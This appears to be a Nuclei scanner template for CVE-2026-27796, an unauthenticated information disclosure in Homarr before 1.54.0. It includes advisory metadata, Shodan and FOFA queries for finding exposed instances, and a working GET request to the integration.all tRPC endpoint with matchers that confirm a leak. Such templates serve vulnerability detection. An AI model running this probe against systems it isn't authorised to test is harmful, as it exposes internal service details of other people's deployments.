Homarr < 1.54.0 - Information Disclosure

id: CVE-2026-27796

info:
  name: Homarr < 1.54.0 - Information Disclosure
  author: str4k3r
  severity: medium
  description: |
    Homarr < 1.54.0 contains an information disclosure caused by the integration.all tRPC endpoint being exposed as a publicProcedure, letting unauthenticated users retrieve sensitive integration metadata, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive integration metadata, potentially exposing internal service details.
  remediation: |
    Update to version 1.54.0 or later.
  reference:
    - https://github.com/homarr-labs/homarr/security/advisories/GHSA-m4vc-4prp-cvp7
    - https://github.com/homarr-labs/homarr/commit/91fc5a5c747121475a50f2713d571ceb89e95257
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-27796
    epss-score: 0.004
    epss-percentile: 0.33074
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: homarr-labs
    product: homarr
    fofa-query: title="Homarr"
    shodan-query: http.title:"Homarr"
  tags: cve,cve2026,homarr,exposure,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/trpc/integration.all"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"result":{"data":{"json":'
          - '"kind":"'
        condition: and

      - type: word
        part: body
        words:
          - "UNAUTHORIZED"
        negative: true
# digest: 4a0a0047304502201e4ce4a108c9fadfccb757ab28d5fd4a16e502bbf3683d5af298b7ccd7aa840f022100c39f4188df22d0dba196f2dd1a88bf29a758e83cb8006fcbeccfff9a79242d00:922c64590222798bb761d5b6d8e72950